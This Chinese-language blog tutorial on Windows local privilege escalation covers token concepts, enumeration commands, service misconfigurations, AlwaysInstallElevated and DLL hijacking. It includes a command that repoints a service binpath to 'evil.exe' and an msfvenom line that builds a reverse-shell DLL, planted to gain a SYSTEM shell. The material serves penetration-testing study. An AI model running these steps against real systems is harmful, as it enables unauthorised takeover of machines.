文章

Windows提权

Windows提权

Windows 提权(Windows Privilege Escalation)

1. 什么是 Windows 提权

Windows 提权是指在已经获得 Windows 系统低权限访问的前提下,通过系统漏洞或错误配置,将权限提升至更高等级,例如:

  • 普通用户 → 本地管理员
  • 本地管理员 → SYSTEM

本质是让低权限用户获取或使用高权限的访问令牌(Token),执行原本不允许的操作。

2. Windows 权限模型

2.1 常见权限等级

  • User:普通用户权限
  • Administrator:本地管理员权限
  • SYSTEM:系统权限
  • TrustedInstaller:系统核心组件权限(最高)

权限关系: TrustedInstaller > SYSTEM > Administrator > User

TrustedInstaller 是 Windows 中权限最高的内置服务账号,主要用于系统组件维护与更新; SYSTEM 权限高于本地管理员,系统核心服务默认以该权限运行; Administrator 具备系统管理能力,但仍受 UAC 等机制限制; User 为普通用户权限,受系统访问控制严格限制。

2.2 Token(访问令牌)

Windows 的权限控制基于访问令牌(Access Token):

  • Token 决定进程能访问哪些资源
  • 提权的本质是获取或滥用高权限 Token

3. 提权的整体思路

Windows 本地提权主要集中在以下几类:

  1. 错误配置
  2. 服务相关提权
  3. 计划任务与启动项
  4. 文件与注册表权限错误
  5. 系统或内核漏洞

4. 信息收集实战命令

信息收集是提权的基石,需要尽可能多地了解当前环境。

4.1 用户与权限检查

查看当前用户身份及权限: whoami /all

该命令会列出用户名、SID、所属组以及当前的特权(Privileges)。重点关注 SeImpersonatePrivilegeSeDebugPrivilege 等高危权限。

查看系统中其他用户及管理员组:

net user

net localgroup administrators

4.2 系统信息枚举

获取操作系统版本、补丁列表及架构信息:

systeminfo

或者使用 WMIC 快速查看:

wmic os get Caption,CSDVersion,OSArchitecture,Version

查看已安装的补丁(用于比对内核漏洞):

wmic qfe get Caption,Description,HotFixID,InstalledOn

4.3 网络与进程

查看网络连接,寻找内部服务:

netstat -ano

查看正在运行的进程(寻找杀软或敏感软件):

tasklist /svc

5. 服务(Service)提权实战

5.1 检测未加引号的服务路径

使用 WMIC 查找启动模式为“自动”、路径中不包含引号且不位于 Windows 目录下的服务:

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

如果输出结果中包含空格且没有引号(例如 C:\Program Files\App\service.exe),则存在利用可能。

5.2 检测服务权限配置错误

需要检查当前用户是否对某个服务拥有修改配置的权限(如 SERVICE_CHANGE_CONFIG 或 SERVICE_ALL_ACCESS)。

原生命令(较难直观判断,建议结合 ACL 知识):

sc sdshow [ServiceName]

推荐工具 AccessChk (Sysinternals 套件):

accesschk.exe -uwcqv "Everyone" *

accesschk.exe -uwcqv "Authenticated Users" *

此命令会列出所有普通用户可写的服务。

如果发现可写服务,修改其 binpath(执行路径)指向恶意程序:

sc config [ServiceName] binpath= "C:\Temp\evil.exe"

sc stop [ServiceName]

sc start [ServiceName]

6. 计划任务与启动项排查

6.1 计划任务枚举

列出所有详细的计划任务,寻找非标准路径或可疑任务:

schtasks /query /fo LIST /v

重点排查以 SYSTEM 身份运行且指向非 C:\Windows 目录的任务。

6.2 启动项注册表排查

查看常见的自启动注册表项:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

7. 文件与注册表权限检测

7.1 文件权限检查

使用 icacls 查看特定文件或目录的权限:

icacls "C:\Program Files\VulnerableApp\config.ini"

如果你对该文件拥有 (M) 修改或 (F) 完全控制权限,即可尝试覆盖或修改。

7.2 AlwaysInstallElevated

检查是否开启了“总是以高权限安装”策略,这允许任意用户以 SYSTEM 权限运行 MSI 安装包:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果两个键值均为 1,则存在漏洞。

8. DLL 劫持提权 (DLL Hijacking)

8.1 原理

Windows 应用程序在加载动态链接库(DLL)时,如果代码中没有指定 DLL 的绝对路径(只写了文件名),操作系统会按照特定的顺序去查找该文件。

标准的 DLL 搜索顺序:

  1. 应用程序加载的目录
  2. 系统目录(C:\Windows\System32)
  3. 16 位系统目录
  4. Windows 目录(C:\Windows)
  5. 当前工作目录(Current Directory)
  6. PATH 环境变量中列出的目录

漏洞成因:

如果一个高权限(如 SYSTEM)运行的程序尝试加载一个不存在的 DLL,或者攻击者对搜索顺序靠前的目录(如应用程序目录或 PATH 中的某个目录)拥有写入权限,攻击者就可以放置一个同名的恶意 DLL。当程序启动时,就会加载这个恶意 DLL,从而以高权限执行代码。

8.2 常见利用场景

  1. 幻影 DLL(Phantom DLL / Missing DLL) 有些程序在编写时会尝试加载某些旧版本或测试用的 DLL,这些文件在正常系统中并不存在。程序运行时会提示“NAME NOT FOUND”。攻击者只需创建一个同名 DLL 放入程序目录或 PATH 目录即可。

  2. DLL 重定向与路径劫持 如果攻击者对安装目录(如 C:\Program Files\App\)有写入权限,可以直接将恶意 DLL 放入该目录。根据搜索顺序,程序会优先加载目录下的恶意文件,而不是 System32 下的合法文件。

8.3 发现与利用

1. 发现漏洞(使用 Process Monitor)

Process Monitor (ProcMon) 是发现此类漏洞的神器。

利用缺失的ddl或者劫持目录里的ddl

  1. 启动 ProcMon,通过 Filter 过滤数据。
  2. 设置过滤器:
    • Result is NAME NOT FOUND
    • Path ends with .dll
    • User is NT AUTHORITY\SYSTEM (或其他高权限账户)
  3. 启动或重启目标服务/程序。
  4. 观察 ProcMon 的输出,寻找那些在当前用户可写目录(或 PATH 目录)中查找失败的 DLL 记录。

2. 制作恶意 DLL

使用 msfvenom 生成恶意 DLL payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f dll > hijack.dll

3. 实施攻击

将生成的 hijack.dll 重命名为目标缺失的 DLL 名称(例如 wlbsctrl.dll),并将其复制到程序尝试加载的目录中。重启服务或程序,即可获得反弹 Shell。

9. 自动化辅助工具

手动输入命令效率较低,实战中通常使用脚本自动扫描。

9.1 脚本与工具

  • WinPEAS (Windows Privilege Escalation Awesome Scripts)
    • 目前最强大的枚举工具,能自动扫描上述所有项(服务、路径、计划任务、凭证等)。
    • 提供 .exe 和 .bat 版本。

    https://github.com/peass-ng/PEASS-ng

  • AccessChk (Sysinternals)
    • 微软官方工具,用于验证具体的权限设置,不会被杀软查杀。

9.2 内核漏洞辅助

10. 常用资源与网站

本地可用工具

https://lolbas-project.github.io/

Windows 补丁对比网站

https://www.adminxe.com/CompareSys/

本文由作者按照 CC BY 4.0 进行授权